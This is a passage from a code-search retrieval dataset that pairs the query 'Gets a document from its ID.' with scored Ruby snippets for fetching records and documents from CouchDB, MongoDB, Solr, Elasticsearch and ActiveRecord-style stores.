"text": "def include? join\n @joins.include? join\n end",
"title": ""
},
{
"docid": "318f9ef70ee78f9218a6bdf909a63726",
"score": "0.49616423",
"text": "def link_exists(from, to) \r\n begin\r\n self.link_for_ids(from.ident, to.ident)\r\n true\r\n rescue EvidenceError\r\n false\r\n end\r\n end",
"title": ""
},
{
"docid": "76505f5e496fd38be45de447366ec4a6",
"score": "0.49519446",
"text": "def include?(doc)\n return super unless _unloaded\n _unloaded.where(_id: doc._id).exists? || _added.has_key?(doc._id)\n end",
"title": ""
},
{
"docid": "7ddc9a73acefd8c09b5ad23f1a8e66bd",
"score": "0.49486694",
"text": "def sql_by_has_and_belongs_to_many_reflection\n \"#{quoted_parent_table_name}.#{parent_primary_key} \" + \\\n \"IN (SELECT #{quoted_join_table}.#{primary_key_name} \" + \\\n \"FROM #{join_table} #{quoted_join_table} WHERE #{quoted_join_table}.#{association_foreign_key} \" + \\\n \"IN (SELECT #{quoted_table_name}.#{primary_key} FROM #{table_name} #{quoted_table_name} WHERE #{sql_conditions_sum}))\"\n end",
"title": ""
},
{
"docid": "df3e39018e2f2b13a6d580441f3f53bb",
"score": "0.49442223",
"text": "def unrelated\n\t\t\treturn self.where_metadata( relation: nil )\n\t\tend",
"title": ""
},
{
"docid": "8a31783956948eaf14e12e73c8541703",
"score": "0.49415314",
"text": "def include?(record); end",
"title": ""
},
{
"docid": "8a31783956948eaf14e12e73c8541703",
"score": "0.49415314",
"text": "def include?(record); end",
"title": ""
},
{
"docid": "9f6cd23ca50c83278c1311356246cb69",
"score": "0.49342662",
"text": "def finding_with_ambiguous_select?(select_clause)\n !select_clause && @owner.connection.columns(@reflection.options[:join_table], \"Join Table Columns\").size != 2\n end",
"title": ""
},
{
"docid": "fe7de03ff305e494513499a10682eaf9",
"score": "0.4929544",
"text": "def sql_by_has_many_normal_reflection\n if parent && parent.parent\n \"#{quoted_table_name}.#{primary_key_name} \" + \\\n \"IN (SELECT #{parent.quoted_table_name}.#{klass.primary_key} \" + \\\n \"FROM #{parent.table_name} #{parent.quoted_table_name} WHERE #{sql_conditions_sum})\"\n else\n \"#{quoted_table_name}.#{primary_key_name} \" +\n \"IN (#{parent.quoted_table_name}.#{parent_klass.primary_key}) #{and_where_conditions_sum}\"\n end\n end",
"title": ""
},
{
"docid": "3ef42a475df904e89a4f9395caa18485",
"score": "0.49187428",
"text": "def sql_by_belongs_to_reflection\n sql = \"#{quoted_table_name}.#{child.klass.primary_key} IN \"\n sql + sql_part_for_belongs_to_reflection\n end",
"title": ""
},
{
"docid": "b8290864b690fb31a5da8fed7bda0d64",
"score": "0.49181524",
"text": "def has_manies(options = {})\n options.assert_valid_keys(:exclude_has_many_throughs)\n self.reflect_on_all_associations.select do |assoc|\n result = (assoc.has_many? || assoc.has_and_belongs_to_many?) \n if options[:exclude_has_many_throughs]\n result && !assoc.options.include?(:through)\n else\n result\n end\n end\n end",
"title": ""
},
{
"docid": "45e6cadf2243150d5f61fe6fc6b623de",
"score": "0.49169153",
"text": "def apply_simple_filter_to_relation(rel)\n params.each do |k,v|\n next if k[0] == '_'\n\n begin\n (attr, path) = rel.nested_attribute(k)\n\n rel = rel.joins { path.inject(self) { |a,x| a.__send__(x) } } if path.any?\n rel = rel.where(attr.eq(v))\n rescue ActiveRest::Model::UnknownField\n end\n end\n\n rel\n end",
"title": ""
},
{
"docid": "8917bc0b6ed475b90941e7577358e598",
"score": "0.4910665",
"text": "def filter_results\n return all unless primary_key == 'id'\n\n sall = all\n return unless sall\n\n ex_ids = []\n sall.each do |r|\n ex_ids << r.id unless r.can_access?\n end\n\n if ex_ids.empty?\n sall\n else\n where(\"#{table_name}.id not in (?)\", ex_ids)\n end\n end",
"title": ""
},
{
"docid": "401950cb2c2249d0f1d7bc41fa2767ba",
"score": "0.48883432",
"text": "def contains_relations?\n resource_handler.resource_relations.present?\n end",
"title": ""
},
{
"docid": "07c1e97ad4fa1798f7add46b10665043",
"score": "0.48858166",
"text": "def tracking?(other_user)\n relationships.find_by_tracked_id(other_user.id)\nend",
"title": ""
},
{
"docid": "6bc3a80358a183671324c46096921014",
"score": "0.4876287",
"text": "def exists?(id_or_conditions = :none); false; end",
"title": ""
},
{
"docid": "3df57455655764e5ddeabc18f039d68b",
"score": "0.48627657",
"text": "def only(*onlies)\n relation_with values.slice(*onlies)\n end",
"title": ""
},
{
"docid": "3df57455655764e5ddeabc18f039d68b",
"score": "0.48627657",
"text": "def only(*onlies)\n relation_with values.slice(*onlies)\n end",
"title": ""
},
{
"docid": "bec15334570385d4132c2e435555be8c",
"score": "0.48621896",
"text": "def defer_referential_integrity_checks\n Database.without_foreign_keys do\n yield\n end\n end",
"title": ""
}
] |
8aae15a2522388e92dc76d0698f2c947 | Gets a document from its ID. | [
{
"docid": "978e01c1a4c8bdb49b90f1113efd24f4",
"score": "0.82377476",
"text": "def get_document(id, api, ref)\n documents = api.form(\"everything\")\n .query(\"[[:d = at(document.id, \\\"#{id}\\\")]]\")\n .submit(ref)\n\n documents.length == 0 ? nil : documents.first\n end",
"title": ""
}
] | [
{
"docid": "ce2516edc40eb5f2419a0773d73cf516",
"score": "0.8018258",
"text": "def find(id)\n @document\n end",
"title": ""
},
{
"docid": "6fbf72950fc2be7b5d17e88ca8ee9f55",
"score": "0.7956304",
"text": "def get_document_by_id(id)\n response = @client.get index: @index, type: @type, id: id\n LogWrapper.log('DEBUG', {'message' => \"Got ES document successfully. Id: #{id}\", \n 'method' => 'get_document_by_id'})\n response\n end",
"title": ""
},
{
"docid": "bef23fe39a33dc860433ad8273fb7439",
"score": "0.79362124",
"text": "def find(id)\n documents[id.to_s]\n end",
"title": ""
},
{
"docid": "582fbd7b671801002ec888c22d5c943a",
"score": "0.78993046",
"text": "def get!(id, db = database)\n raise CouchRest::Model::DocumentNotFound if id.blank?\n\n doc = db.get id\n build_from_database(doc)\n rescue CouchRest::NotFound\n raise CouchRest::Model::DocumentNotFound\n end",
"title": ""
},
{
"docid": "fac574abd46beb587e378305dbc76230",
"score": "0.7865739",
"text": "def get_document_by_id(document_id, collection)\n begin\n query_hash = {'_id' => BSON::ObjectId.from_string(document_id)}\n db = open_database()\n coll = db.collection(collection)\n doc = coll.find(query_hash).to_a.first\n rescue Exception => e\n puts 'ERROR: ' + e.message\n puts e.backtrace\n nil\n end\n end",
"title": ""
},
{
"docid": "8abbd66de5d5544bdea9e3285ac4868a",
"score": "0.7856281",
"text": "def get_document_by_id( id, version = nil )\n if version\n get( '/records/' + @record_id + '/documents/' + id + '/versions/' + version ).xpath('//api:document').first\n else\n get( '/records/' + @record_id + '/documents/' + id ).xpath('//api:document').first\n end\n end",
"title": ""
},
{
"docid": "2c93d7e873be035e45ca7dedad9b11fa",
"score": "0.7671173",
"text": "def get_doc(id)\n Utility::check_types({ id=>Integer }) if $DEBUG\n @status = -1\n return nil if !@url\n turl = @url + \"/get_doc\"\n reqheads = [ \"Content-Type: application/x-www-form-urlencoded\" ]\n reqheads.push(\"Authorization: Basic \" + Utility::base_encode(@auth)) if @auth\n reqbody = \"id=\" + id.to_s\n resbody = StringIO::new\n rv = Utility::shuttle_url(turl, @pxhost, @pxport, @timeout, reqheads, reqbody, nil, resbody)\n @status = rv\n return nil if rv != 200\n Document::new(resbody.string)\n end",
"title": ""
},
{
"docid": "35dcf5434c5be151cce184dd63b32603",
"score": "0.7662649",
"text": "def get(id)\n doc = @strategy.get_document(id)\n @document_klass.new(doc[\"_source\"].merge(_id: doc[\"_id\"])) if doc.present?\n end",
"title": ""
},
{
"docid": "f9b5afac874ebc639cbd2a5fc5d41aeb",
"score": "0.76440376",
"text": "def get id\n doc = database.get id\n new(doc)\n end",
"title": ""
},
{
"docid": "7c17f175565b4f25ab67fa39cadf7e25",
"score": "0.76130235",
"text": "def find_document_by(id)\n link = @@repo.find_link_by(Dctmclient::Resources::Link::RELATIONS[:self])\n link.href += \"/documents/#{id}\"\n @@repo.link_to(link, :Document)\n end",
"title": ""
},
{
"docid": "2f55c7333813d15377cbeb31d22e2dd3",
"score": "0.7610032",
"text": "def get_solr_doc(doc_id)\n _, document = search_service.fetch doc_id\n document\n end",
"title": ""
},
{
"docid": "e6af3d8e8a68d4df3620c25437f6b0fe",
"score": "0.7579071",
"text": "def get(id, db = database)\n doc = db.get id\n new(doc)\n end",
"title": ""
},
{
"docid": "80001086ec470fe527b85c820becf52c",
"score": "0.75652295",
"text": "def document(document_id, query_params = nil)\n get(\"/documents/#{document_id}\", query_params)\n end",
"title": ""
},
{
"docid": "bb080a9122296d2a3c228a942b9a5e2c",
"score": "0.756045",
"text": "def fetch(id)\n doc = @documents.find { |d| d.id == id }\n return doc if doc\n\n IndigoDocument.new(API_ENDPOINT + \"/documents/#{id}\", nil, self)\n end",
"title": ""
},
{
"docid": "bb080a9122296d2a3c228a942b9a5e2c",
"score": "0.756045",
"text": "def fetch(id)\n doc = @documents.find { |d| d.id == id }\n return doc if doc\n\n IndigoDocument.new(API_ENDPOINT + \"/documents/#{id}\", nil, self)\n end",
"title": ""
},
{
"docid": "e1237ce1d37f311cd9bc0d5b2da166be",
"score": "0.753736",
"text": "def get_document(index, id)\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{CGI::escape(id)}\")\n req = Net::HTTP::Get.new(uri)\n resp = run(uri, req)\n if resp.is_a? Net::HTTPNotFound\n @logger.debug(\"ELASTICSEARCH\") { \"Document #{id} not found in index #{index}\" }\n nil\n elsif resp.is_a? Net::HTTPSuccess\n JSON.parse resp.body\n else\n @logger.error(\"ELASTICSEARCH\") { \"Failed to get document #{id} from index #{index}.\\nGET #{uri}\\nResponse: #{resp.code} #{resp.msg}\\n#{resp.body}\" }\n raise \"Failed to get document #{id} from index #{index}\"\n end\n end",
"title": ""
},
{
"docid": "cca65a92546f81a3c13d802260dacd6e",
"score": "0.7502691",
"text": "def get!(id, db = database)\n doc = db.get id\n create_from_database(doc)\n end",
"title": ""
},
{
"docid": "89eb81793bbcb37436a9e561828a70c7",
"score": "0.7454184",
"text": "def get!(id)\n raise ArgumentError.new(\"id must not be blank\") if id.empty? or id.nil?\n \n json = RestClient.get(File.join(database.uri, id))\n\n result = JSON.parse(json)\n\n document = new(\n :json => json\n )\n\n document\n end",
"title": ""
},
{
"docid": "1693cd4a4c260f58dc675c141ee3d520",
"score": "0.7409859",
"text": "def get_document(id, opts = {})\n data, _status_code, _headers = get_document_with_http_info(id, opts)\n data\n end",
"title": ""
},
{
"docid": "9c923025a11d58787e19635b0f59ff50",
"score": "0.7384564",
"text": "def get_doc docid, params={}\n @by_docid[docid]\n end",
"title": ""
},
{
"docid": "fc832dd0d618d33e8dfe2415c4cf6b04",
"score": "0.73729527",
"text": "def get_document_by_id(document_id)\n # look through both schema and report files for the document\n doc = self.get_schema_document_by_id(document_id)\n if doc.nil?\n doc = self.get_report_document_by_id(document_id)\n end\n\n return doc\n end",
"title": ""
},
{
"docid": "a1013b7834ca631bac2c4ccf079cf802",
"score": "0.7362602",
"text": "def [](id)\n document_store.find(id)\n end",
"title": ""
},
{
"docid": "b5bccdd7144ddbadd5059f255d641dc8",
"score": "0.7329919",
"text": "def get_document(id, opts = {})\n data, _status_code, _headers = get_document_with_http_info(id, opts)\n return data\n end",
"title": ""
},
{
"docid": "03b87cd678fe7db99c54cf30d3b9b332",
"score": "0.73250234",
"text": "def find(id)\n condition = { _id: BSON::ObjectId(id.to_s) }\n mongo_document = mongo_collection.find(condition).first\n Document.new(db_name, name, mongo_document) if mongo_document\n end",
"title": ""
},
{
"docid": "74e0619ace45629b940446775724b80a",
"score": "0.7315747",
"text": "def get docid, params={}\n doc = get_doc(docid, params)\n if !doc\n raise BoothError.new(404, \"not_found\", \"missing doc '#{docid}'\");\n elsif doc.deleted\n raise BoothError.new(404, \"not_found\", \"deleted doc '#{docid}'\");\n else\n doc\n end\n end",
"title": ""
},
{
"docid": "85d2fbbb0ff5422ac632980095969b35",
"score": "0.728893",
"text": "def find_one_by_id(id, options)\n result = instantiate(database.get(id))\n # TODO This is bad, but more efficient in DB terms\n conditions = (scope(:find) || {}).merge(options[:conditions] || {})\n ({:ruby_class => document_class_name}.merge(conditions)).each do |key, value|\n raise DocumentNotFound unless result.read_attribute(key) == value\n end\n result.readonly! if options[:readonly]\n result\n end",
"title": ""
},
{
"docid": "a3856adbd76c50573098f59df1382d19",
"score": "0.7199418",
"text": "def find_doc\n # get the specific document by id\n @doc = Doc.find(params[:id]) \n end",
"title": ""
},
{
"docid": "63e6004e278ea9e46138f52cae62dc0c",
"score": "0.7191752",
"text": "def get(id)\r\n res = @server.get(\"/#{@db}/#{id}\")\r\n xmldoc = REXML::Document.new(res.body) \r\n Doc.new(xmldoc);\r\n end",
"title": ""
},
{
"docid": "b8daa7d45c73bdf68fa0350dd2f86734",
"score": "0.71283674",
"text": "def get(id, params = {}, raw = false)\n if params == true || params == false # Support raw as second argument, legacy API\n raw = true\n params = {}\n end\n\n res = request(:get, \"_doc/#{id}\", params)\n raw ? res : indig(res, '_source') || indig(res, 'fields')\n end",
"title": ""
},
{
"docid": "22ce080950d8cacffcd798b4ef0edfa7",
"score": "0.7126822",
"text": "def get_document(document_id, opts = {})\n data, _status_code, _headers = get_document_with_http_info(document_id, opts)\n data\n end",
"title": ""
},
{
"docid": "bfe16d04868709260792fa49d4e68d78",
"score": "0.7124921",
"text": "def query_by_id(id:)\n response = blacklight_connection.get(\"select\", params: { q: \"id:\\\"#{id}\\\"\", fl: \"*\", rows: 1 })\n docs = response[\"response\"][\"docs\"]\n docs.first\n end",
"title": ""
},
{
"docid": "bfe16d04868709260792fa49d4e68d78",
"score": "0.7124921",
"text": "def query_by_id(id:)\n response = blacklight_connection.get(\"select\", params: { q: \"id:\\\"#{id}\\\"\", fl: \"*\", rows: 1 })\n docs = response[\"response\"][\"docs\"]\n docs.first\n end",
"title": ""
},
{
"docid": "f318278d60e9398e8d1dc438700ab9c5",
"score": "0.7078523",
"text": "def resource\n connection.get(\"select\", params: { q: \"id:\\\"#{id}\\\"\", fl: \"*\", rows: 1 })[\"response\"][\"docs\"].first\n end",
"title": ""
},
{
"docid": "0893497a11ef50b85cdbfee34455bd36",
"score": "0.70635986",
"text": "def document_id(id)\n id\n end",
"title": ""
},
{
"docid": "254ec102e50db1c3d5092bbd92abedbe",
"score": "0.70328206",
"text": "def get(id, options = GetOptions.new)\n resp = @backend.document_get(bucket_name, \"#{@scope_name}.#{@name}\", id)\n GetResult.new do |res|\n res.transcoder = options.transcoder\n res.cas = resp[:cas]\n res.flags = resp[:flags]\n res.encoded = resp[:content]\n end\n end",
"title": ""
},
{
"docid": "16c6cd82cbc521f834f8479b18df6b61",
"score": "0.7026458",
"text": "def get_document(document_id, opts = {})\n data, _status_code, _headers = get_document_with_http_info(document_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "a20d947925e43bf4938b278ed468f14f",
"score": "0.70211685",
"text": "def [](id, options = {})\n code, body = @hookup.get([id], options)\n\n case code\n # If something was found\n when 200\n # And that something is a document\n if body[\"_id\"] && body[\"_rev\"]\n # Make a new document object\n Document.new(code, body, self)\n else\n # Else raise an error as `[]` should only return document objects\n raise DocumentNotValid.new(\"the id '#{id}' does not correspond to a document\")\n end\n # If nothing was found\n when 404\n case body[\"reason\"]\n # Because the document was deleted\n when \"deleted\"\n # Tell the user it was deleted\n raise DocumentNotFound.new(\"the document with id '#{id}' has been deleted\")\n else\n # Else tell the user it was never there to begin with\n raise DocumentNotFound.new(\"a document could not be found with id '#{id}'\")\n end\n # If something else happened\n else\n # Raise an error\n raise Error.new(\"code: #{code}, error: #{body[\"error\"]}, reason: #{body[\"reason\"]}\")\n end\n end",
"title": ""
},
{
"docid": "cddc886ff24027473e8d6178b78d0b1c",
"score": "0.69735897",
"text": "def get_by_id(doc_id)\n Hash[*call(ft_get(doc_id))]\n .tap { |doc| doc['id'] = doc_id unless doc.empty? } || {}\n end",
"title": ""
},
{
"docid": "7009e983c7b6f003034d2c30e35cc992",
"score": "0.6945597",
"text": "def doc_id\n @document.fetch('id')\n end",
"title": ""
},
{
"docid": "41caef7bb9fe6b34a31a509b455dcc72",
"score": "0.69346744",
"text": "def find_doc\n @doc = Doc.find(params[:id])\n end",
"title": ""
},
{
"docid": "6b8e8917f66cfb4a8803b53e36ebb5c8",
"score": "0.69296026",
"text": "def find_one(id)\n client.get(\"#{path}/#{id}\")\n end",
"title": ""
},
{
"docid": "8acd9770bdbd8520a307831e364b1f7b",
"score": "0.6921271",
"text": "def get_record(id, options = {})\n id = format_id_param(id)\n self.class.get(\"/content/#{id}\", :query => options)\n end",
"title": ""
},
{
"docid": "652e0403fabecbabea78cdb8f51c039b",
"score": "0.69041747",
"text": "def get(id)\n collection[id.to_s]\n end",
"title": ""
},
{
"docid": "de9679e805fa791074d7c3589e09548d",
"score": "0.68904895",
"text": "def find(id, url_params = nil)\n path = blacklight_config.document_solr_path || blacklight_config.solr_path\n solr_params = base_document_solr_params(url_params)\n solr_params[blacklight_config.document_unique_id_param] = id\n send_and_receive(path, solr_params).tap do |response|\n docs = response&.documents\n raise Blacklight::Exceptions::RecordNotFound unless docs.present?\n end\n end",
"title": ""
},
{
"docid": "6363383048a2501a0636f02d40ac6af1",
"score": "0.68878525",
"text": "def find_doc\n\t\t\t# Find by the parameters Id\n\t\t\t@doc = Doc.find(params[:id])\n\t\tend",
"title": ""
},
{
"docid": "5a5fb93cf48808b91ca5539ad15d8d2f",
"score": "0.6886676",
"text": "def document id = false\n if id.respond_to? :to_ary\n list = id.to_ary.map { |i| i.to_s }\n response = @@database.http('_all_docs?include_docs=true').post({ keys: list }.to_json)\n ChillDB::List.load(JSON.parse(response), database: @@database)\n elsif id.respond_to? :to_str\n ChillDB::Document.load(@@database, id.to_str)\n else\n ChillDB::Document.new(@@database)\n end\n end",
"title": ""
},
{
"docid": "d7a1f8a499dea76709ee31e0edd056ee",
"score": "0.6880618",
"text": "def getDocumentByObjId(collectionName, dbName, objId, columnName)\n @db = Mongo::Client.new([ HOSTANDPORT ],\n :database => dbName)\n document = @db[collectionName].find({:_id => BSON::ObjectId(objId)},\n :fields => [columnName]).to_a\n puts \"[getDocumentByObjId ] \" + document.to_s\n return document\n end",
"title": ""
},
{
"docid": "c8206cd04c9aa8bf51dea96897657df8",
"score": "0.6869947",
"text": "def find_by_id(id)\n id = BSON::ObjectId(id) if id.is_a?(String) && BSON::ObjectId.legal?(id)\n find_one(_id: id)\n end",
"title": ""
},
{
"docid": "d76d4f1eb532fdc3d8e91edbe85f9a9a",
"score": "0.6867558",
"text": "def find(id, url_params = nil)\n cfg = blacklight_config\n path = cfg.document_solr_path || cfg.solr_path\n solr_params = base_document_solr_params(cfg, url_params)\n solr_params[cfg.document_unique_id_param] = id\n send_and_receive(path, solr_params).tap do |response|\n docs = response&.documents\n raise Blacklight::Exceptions::RecordNotFound unless docs.present?\n end\n end",
"title": ""
},
{
"docid": "3dc9a07cce56154fcb9c2e5811ab0472",
"score": "0.68516016",
"text": "def find(id)\n id = BSON::ObjectId.from_string(id) if !id.is_a?(BSON::ObjectId) && BSON::ObjectId.legal?(id)\n doc = collection.find_one(id)\n Slice.from_bson(doc) if doc\n end",
"title": ""
},
{
"docid": "2786ef2a2427f69b780cd44fe1cdbb77",
"score": "0.68447703",
"text": "def get(id, params = {})\n slug = escape_docid(id)\n url = CouchRest.paramify_url(\"#{@root}/#{slug}\", params)\n result = CouchRest.get(url)\n return result unless result.is_a?(Hash)\n doc = if /^_design/ =~ result[\"_id\"]\n Design.new(result)\n else\n Document.new(result)\n end\n doc.database = self\n doc\n end",
"title": ""
},
{
"docid": "1fd151fdff7edbba8ad27451577f2ea0",
"score": "0.6833231",
"text": "def document_by_v_id id\n if String === id\n settings.mongo_db['mostRecent'].\n find_one(:id => id)\n end#end if\n end",
"title": ""
},
{
"docid": "443cf4fa16c5c2cc63aae2b7b0b682f3",
"score": "0.6830001",
"text": "def get(id_or_uri)\n uri = uri_from_id(id_or_uri)\n document = Rest.get(uri)\n new({'uri' => uri, 'etag' => document.headers[:etag], \n 'last_modified' => document.headers[:last_modified],\n 'document' => document })\n rescue RestClient::ResourceNotFound\n nil\n end",
"title": ""
},
{
"docid": "5745ac75723a9240557a0f951424f576",
"score": "0.68289536",
"text": "def find(id)\n id = id.to_s\n return nil unless index[id]\n return cache[id] if cache? && cache.key?(id)\n p = index[id][:partition]\n f = open_read(p)\n f.seek(index[id][:offset])\n data = f.read(index[id][:length])\n document = Marshal.load(data)\n cache[id] = document if cache?\n document\n end",
"title": ""
},
{
"docid": "5d07c312c559a903264779bcff7f3e81",
"score": "0.6823805",
"text": "def get(entry_id, version=-1)\n\t\t\tkparams = {}\n\t\t\t# Document entry id\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# Desired version of the data\n\t\t\tclient.add_param(kparams, 'version', version);\n\t\t\tclient.queue_service_action_call('document_documents', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"title": ""
},
{
"docid": "20494d07bb7db0cff01820c3b3cd35d1",
"score": "0.680438",
"text": "def search_by_id\n begin\n result = Openws::GeneralDocument.with(collection: namespaced_collection).find(params[:id])\n render json: result, status: 200\n rescue\n render json: { msg: 'Document not found' }, status: 404\n end\n end",
"title": ""
},
{
"docid": "e9dd43513422af2c820be4d9e59da8c7",
"score": "0.67989457",
"text": "def get id\n slug = CGI.escape(id) \n CouchRest.get \"#{@root}/#{slug}\"\n end",
"title": ""
},
{
"docid": "47ba5e86103deb3fef7d7622c476a081",
"score": "0.6797523",
"text": "def get_application_document( id )\n get_binary '/records/' + @record_id + '/apps/documents/key/' + id\n end",
"title": ""
},
{
"docid": "7609a10b7b4633f3610a8e4db8e0a62b",
"score": "0.67674875",
"text": "def find_document(options)\n id = options[:id]\n name = options[:name]\n \n self.documents.find do |document|\n if id.not_nil?\n document.id == id\n elsif name.not_nil?\n document.name == name\n end\n end\n end",
"title": ""
},
{
"docid": "1b8dd13a9464163e8bad8e36af7c6203",
"score": "0.6739861",
"text": "def get(id, idx = @config[:idx_read], type = @config[:type])\n get_doc(id, idx, type)\n end",
"title": ""
},
{
"docid": "14ab25755fb8dfb9de3de05fc7cb8fd0",
"score": "0.67165005",
"text": "def publication_doc(id)\n publications.find({_id: id}).first\n end",
"title": ""
},
{
"docid": "7c210b5e67bfec30dab11ce370ebfa91",
"score": "0.6712441",
"text": "def document(database,collection, document_id)\n options={:basic_auth => @auth}\n handle_result self.class.get(\"/databases/#{database}/collections/#{collection}/documents/#{document_id}\", options)\n end",
"title": ""
},
{
"docid": "edee022f3103c7fd12a0a8867149b624",
"score": "0.67097616",
"text": "def docid\n getID\n end",
"title": ""
},
{
"docid": "ad6dc17f1a989c3da2e177e5c460257f",
"score": "0.67043984",
"text": "def get id\n indexed?\n if fpos = indexer_get(id)\n get_rec(fpos)\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "758ac5c4473f140a0b7ad4d43e2902af",
"score": "0.66932154",
"text": "def get(id, db = database)\n begin\n get!(id, db)\n rescue\n nil\n end\n end",
"title": ""
},
{
"docid": "758ac5c4473f140a0b7ad4d43e2902af",
"score": "0.66932154",
"text": "def get(id, db = database)\n begin\n get!(id, db)\n rescue\n nil\n end\n end",
"title": ""
},
{
"docid": "b3295b834be7f7ecbe7cdc2c1792a486",
"score": "0.6685655",
"text": "def get(id)\n repository.get(build_path(id))\n end",
"title": ""
},
{
"docid": "895df3d842c453d7662172b0ff439016",
"score": "0.66817236",
"text": "def document(evault_id, document_id)\n @client.get(\"/evault/#{evault_id}/#{document_id}\")\n end",
"title": ""
},
{
"docid": "cdcc7c481522a33b9833681cb18deb45",
"score": "0.6667686",
"text": "def find(id)\n unless id.kind_of? BSON::ObjectId\n id = BSON::ObjectId.from_string(id.to_s)\n end\n hash = Database.find(_table,{\"_id\"=>id}).first\n hash && _new(hash)\n end",
"title": ""
},
{
"docid": "ef89e550d19a6bfd27596e3263b257ec",
"score": "0.6647148",
"text": "def find_by_id(id)\n @client.get(\"/#{@model}/#{id}\")\n end",
"title": ""
},
{
"docid": "2ffb2d4f756e867abe730dd494abdd1c",
"score": "0.66306806",
"text": "def get(user_id, authorized_subjects, document_id)\n assertion = generate_assertion(user_id, authorized_subjects)\n resp = @client.get(SHOW_ENDPOINT_PATH + document_id.to_s) do |req|\n negotiate_json_for(req)\n assertion.encode_and_sign_to_http_request(req, @system_secret)\n end\n data = JSON.parse(resp.body)\n CartafactRb::Resources::Document.new(data)\n end",
"title": ""
},
{
"docid": "3c844da7db391d4e88ef62c4a6a5ba4e",
"score": "0.6625338",
"text": "def id\n document[:_id]\n end",
"title": ""
},
{
"docid": "3c844da7db391d4e88ef62c4a6a5ba4e",
"score": "0.6625338",
"text": "def id\n document[:_id]\n end",
"title": ""
},
{
"docid": "3c844da7db391d4e88ef62c4a6a5ba4e",
"score": "0.6625338",
"text": "def id\n document[:_id]\n end",
"title": ""
},
{
"docid": "fb99da71adcae9ccac2f06715fca3ed3",
"score": "0.66240513",
"text": "def get_by_id(id)\n fetch(@database, id)\n end",
"title": ""
},
{
"docid": "516ab9157d5a0554108471b0fc5077e6",
"score": "0.66154045",
"text": "def get(doc_id, options = {})\n as_opal_promise(`#{@native}.get(doc_id, #{options.to_n})`)\n end",
"title": ""
},
{
"docid": "8651b49aca05fd52bf1972b30563bea1",
"score": "0.6614352",
"text": "def get_unique_doc(db_name, id)\n uri = URI(\"#{@couch_base_url}/#{db_name}/#{id}\")\n request_to_db = Net::HTTP::Get.new(uri)\n request_to_db.basic_auth @couchdb_username, @couchdb_password\n\n response_from_db = Net::HTTP.start(uri.hostname, uri.port) { |http| http.request(request_to_db) }\n return [404, 'UNKNOWN', response_from_db] if response_from_db.is_a? Net::HTTPNotFound\n\n raise \"Failed to get unique document with ID #{id} from: #{db_name} - Message: #{response_from_db.body}\" unless response_from_db.is_a? Net::HTTPSuccess\n result = JSON.parse(response_from_db.body)\n [200, result['_rev'], result['content'].to_json]\n end",
"title": ""
},
{
"docid": "0b41a01711670502be90be4942c9b504",
"score": "0.6611123",
"text": "def document\n self.document_type.constantize.find(self.document_id)\n rescue ::Mongoid::Errors::DocumentNotFound\n nil\n end",
"title": ""
},
{
"docid": "a4057eca0ea38a8d83ce81bf8a1b109d",
"score": "0.65616506",
"text": "def find(id)\n where(id: id).first\n end",
"title": ""
},
{
"docid": "4853d3f25dff680eb91c19d2f26f95db",
"score": "0.6540218",
"text": "def find(id)\n result = query(:id => id)\n return result[0] if result.count > 0\n end",
"title": ""
},
{
"docid": "92e1eb8fa26dafea0efe4016120a7843",
"score": "0.65334463",
"text": "def get_by_id id\n request_params = {\n :q => \"Id:#{id}\",\n :fl => '*'\n }\n\n solr_response = @solr_stackoverflow_indexed.get 'select', :params => request_params\n docs = solr_response['response']['docs']\n\n if docs.count == 1\n return {\n 'success' => true,\n 'doc' => docs[0]\n }\n else\n return {\n 'success' => false,\n 'message' => \"Returned #{docs.count} items\"\n }\n end\n end",
"title": ""
},
{
"docid": "c8c8fc1fe6b7696855d44ea0aa72b6d5",
"score": "0.6532474",
"text": "def get_document_0(id, opts = {})\n data, _status_code, _headers = get_document_0_with_http_info(id, opts)\n return data\n end",
"title": ""
},
{
"docid": "53339f9cc001302f66d6390cb2700415",
"score": "0.65228814",
"text": "def process_doc(id)\n processed.find({_id: id}).first\n end",
"title": ""
},
{
"docid": "705f84c280098d9711b1d2250accc5ae",
"score": "0.65174353",
"text": "def get(id)\n klass.find(klass.primary_key => wrap_key(id))\n end",
"title": ""
},
{
"docid": "7bcb0be470df72f15ae77e99c78d9398",
"score": "0.6513077",
"text": "def system_mycompany_documents_id_get(id, opts = {})\n data, _status_code, _headers = system_mycompany_documents_id_get_with_http_info(id, opts)\n return data\n end",
"title": ""
},
{
"docid": "ec62f2317aa1f07c2e8baff9ea3007de",
"score": "0.650285",
"text": "def retrieve(id)\n call(:get, path(id))\n end",
"title": ""
},
{
"docid": "ec62f2317aa1f07c2e8baff9ea3007de",
"score": "0.650285",
"text": "def retrieve(id)\n call(:get, path(id))\n end",
"title": ""
},
{
"docid": "fedc0cabc8cf5b880e88a4a2040cd9a8",
"score": "0.64922017",
"text": "def get_doc\n doc = ActiveFedora::Base.find_with_conditions({:id=>pid}).first\n raise OembedSolrError if doc.blank?\n doc\n end",
"title": ""
},
{
"docid": "c6544ac76649f0dfc555cb0c60e40c19",
"score": "0.6476058",
"text": "def id\n doc['_id']\n end",
"title": ""
},
{
"docid": "67b9c16e9b6300c2e8eaa653093a03a8",
"score": "0.64715946",
"text": "def find(id, options={})\n records(singular(id), options).first\n end",
"title": ""
},
{
"docid": "e4f130c62924f9496369111492d6e46a",
"score": "0.6461528",
"text": "def find(_id)\n self.new(HTTP.get(database.path.join(_id)))\n end",
"title": ""
},
{
"docid": "a6c90ce69ad59da452a8cdbe81ec21a6",
"score": "0.6453434",
"text": "def get(id) # rubocop:disable Rails/Delegate\n query.get(id)\n end",
"title": ""
},
{
"docid": "a74c4edfcf5e9d437f38124cdc0e4721",
"score": "0.6447687",
"text": "def doc(*arg)\n @dir.synchronize do\n id = arg[0]\n if id.kind_of?(String) or id.kind_of?(Symbol)\n ensure_reader_open()\n term_doc_enum = @reader.term_docs_for(@id_field, id.to_s)\n return term_doc_enum.next? ? @reader[term_doc_enum.doc] : nil\n else\n ensure_reader_open(false)\n return @reader[*arg]\n end\n end\n end",
"title": ""
},
{
"docid": "3ce88993d31001c42a65e4de1e944bf0",
"score": "0.6441449",
"text": "def find(id)\n get URL(uri, id)\n end",
"title": ""
},
{
"docid": "4e2d0e7766175d6d4e30d0e9b5033658",
